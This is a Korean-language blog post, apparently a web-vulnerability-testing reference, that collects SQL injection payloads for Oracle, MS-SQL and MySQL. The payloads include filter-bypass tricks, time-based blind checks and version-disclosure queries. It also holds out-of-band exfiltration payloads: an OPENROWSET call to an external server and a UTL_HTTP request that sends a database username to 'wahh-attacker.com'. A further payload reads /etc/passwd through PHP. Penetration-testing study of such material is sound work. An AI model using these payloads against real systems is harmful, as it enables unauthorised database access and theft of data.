본문 바로가기

웹 취약점 점검

SQL Injection 정리

SQL Injection

1.  취약점이 존재하는지 테스트 하는 문자열 
- 오라클 : '||'FOO
- MS-SQL : '+' FOO
- MYSQL  : ' 'FOO

2. get 방식일 경우 
- Union 또는 Update 또는 select 시에
- %20 Union %20 SELECT %20 NULL, %20 from %20 dual -- 
이런식으로 %20 

3. 검증 우회
: 사용 이유 : 검증 루틴에 의해 블랙 리스트를 사용해서 파라미터를 검증할때 이를 우회하기 위해 사용한다
1) 'or 1=1 -- 같은 경우 
  'or 'a'='a' 등으로 우회
2) select 키워드가 막혀있는 경우 - > SeLeCt 등 대소문자 섞음
  - 또는 아스키 코드로 변환함 
  - %53 %45 %4c %45 %53 %54

3) 스페이스 를 막을 경우  /* */ 주석으로 스페이스 대체 함
  - 주석의 경우 SQL 에 따라 정의해야할듯

4) 막혀진 문자열 조작
  - admin 문자열 등 입력 문자를 막아 놓았을 경우 1번에 해당하는 문자 연결자를 사용함
예) 'adm'||'in'    , 'adm'+'in'      , concat('adm','in')
  - 아스키로 변환된 문자를 연결할 경우
예) chr(97) || chr(100) || chr(109) || chr(105) || chr (110)
- admin
5) 안전하게 하기 위해선 문자열 길이가 제한 이상일 경우 조작할 수 없도록 설정 해야r


6) Out - Of - Band 채널 이용하여 우회 
: 사용 이유 : 사용자의 화면에 SQL 인젝션 결과를 보여주지 않거나 DB에서 발생하는 에러 메시지만 보여줄때 데이터를 추출하거나 결과를 보고자할때 사용한
  - 연결어 문자열을 이용한 임의의 코드 삽입
예) 로그인시
 - foo' || (select 1 from dual where (SELECT username from all_users where username = 'DBSNMP') = 'DBSNMP') -- 
해당 로직은 oracle 디비의 전역으로 접근 가능한 테이블인 DUAL 을 이용한다.
  - 해당 로직의 결과를 알아내기 위해서는 네트워크를 역으로 연결하기 위한 데이터베이스의 내장된 기능을 활용하면 된다
  - MSSQL
- insert into openrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=test.com,80;UID=sa;PWD=letmein','select * from foo') values (@@version)
- 해당 로직은 외부 서버에 있는 foo 테이블에 대상 pc 의 버전을 리퀘스트 한다
  - Oracle
- UTL_HTTP 패키지를 이용하여 리퀘스트 시킨다
- http:// ~/a.asp?No=123' ||UTL_HTTP.request('wahh-attacker.com:80/'||(select %20 username %20 from %20 all_users %20 where %20 rownum %3d1)) --
- 해당 로직은 all_users 테이블에 있는 첫번째 사용자를 URL에 담아서 get 요청을 보내게 된다 
  - 비슷한 로직인 UTL_INADDR 을 이용해 DNS 요청 트래픽을 이용할 수도 있다

4. 블라인드 sql 에서 SQL Injection 취약점이 존재하는지 여부 판단하기 ( 타이머 이용 )
  - 오라클 : UTL_HTTP.request(" http://존재하지않는 url ") -> 시간 지연 발생
- MS-SQL : waitfor delay '0:0:10' -> 10초 시간 지연 발생
- MySQL  : benchmark(50000,sha1('test'))

5. Database 버전 정보 유출
- 오라클 : select banner from v$version
- MS-SQl : select @@version
- MySql : select @@version

6. 동적 실행 : 조작된 입력을 삽입하여 원래 개발자가 작성한것과 같은 방식으로 서버상에서 의도한 대로 실행되게 하는 방법
- PHP 에서의 동적 실행
- 검색 로직 등에서 시스템명령어를 사용 
- 질의 URL ; %20 echo %20 file_get_contents(%3b/etc/passwd%3b) 
- ASP 에서의 동적 실행
- response.write%20 로 취약성 테스트 및 system 명령어 실행

7. 기초 SQL Injection 
- 그룹핑 에러
- 'group by colName having 1=1 --

- 타입 불일치 에러 
- union select 1,1,'test'1,1,1 --





'웹 취약점 점검' 카테고리의 다른 글

OHK  (0) 2021.07.07
웹 취약점 점검 툴 몇가지 정리  (0) 2014.04.04
acunetix web scanner 웹 점검 예  (0) 2014.04.04